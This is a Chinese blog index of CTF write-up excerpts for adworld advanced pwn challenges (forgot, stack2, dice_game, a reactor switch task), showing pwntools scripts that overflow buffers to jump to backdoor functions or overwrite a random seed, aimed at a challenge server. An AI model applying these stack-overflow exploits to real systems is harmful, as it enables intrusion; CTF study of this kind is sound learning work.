攻防世界进阶pwn
棂星
这个作者很懒,什么都没留下…
展开
-
4.forgot
from pwn import * p=remote('220.249.52.133',49466) p.recvuntil("> ") p.sendline('A') payload='A'*32+p32(0x080486cc) p.recvuntil("> ") p.sendline(payload) print p.recvall()原创 2020-08-07 14:28:30 · 102 阅读 · 0 评论 -
3.stack2
这是一道数组越界的题目。数组存放在栈上,程序中给出有修改数组中数据的功能,但是没有限制范围,使得其可以修改栈上任意地址。 所以我只需要将main函数的返回地址修改成后门函数就可以了。 接下来就是确定偏移,这里把我卡住了。最一开始的想法是直接用返回地址减去输入地址,得到的偏移是0x9c,带入测试发现不行。看到这里有人肯定都要嘲笑我了,我真的是太蠢了,而且还觉得没什么问题捣鼓了半天,太菜了。。。 言归正传,要定偏移,首先我们需要搞清楚程序中修改数组数据的部分具体是怎么执行的。 这里可以看到程序具体要修改的原创 2020-07-27 19:18:14 · 389 阅读 · 0 评论 -
2.dice_game
猜数游戏,随机数由srand函数根据随机数种子time()生成。在输入name时存在溢出,可以覆盖随机数种子,此时就可以控制随机数生成了。 exp: from pwn import * from ctypes import * context.log_level = 'debug' p=remote('220.249.52.133',46700) payload = 'a' * 0x40 + 'a' * 4 p.recvuntil("Welcome, let me know your name: ")原创 2020-07-27 19:15:37 · 111 阅读 · 0 评论 -
1.反应釜开关控制
1.反应釜开关控制 拿到这道题,ida分析之后感觉是有些奇怪的,因为题目就是简单的栈溢出,而且给了后门函数。所以就是简单的ret2text。 exp: from pwn import * context(log_level='debug',arch='amd64',os='linux') r = remote('220.249.52.133',37791) elf = ELF('./kaiguan') shell_addr = 0x04005F6 payload = 'A'*0x208 + p64(she原创 2020-07-27 16:49:23 · 366 阅读 · 0 评论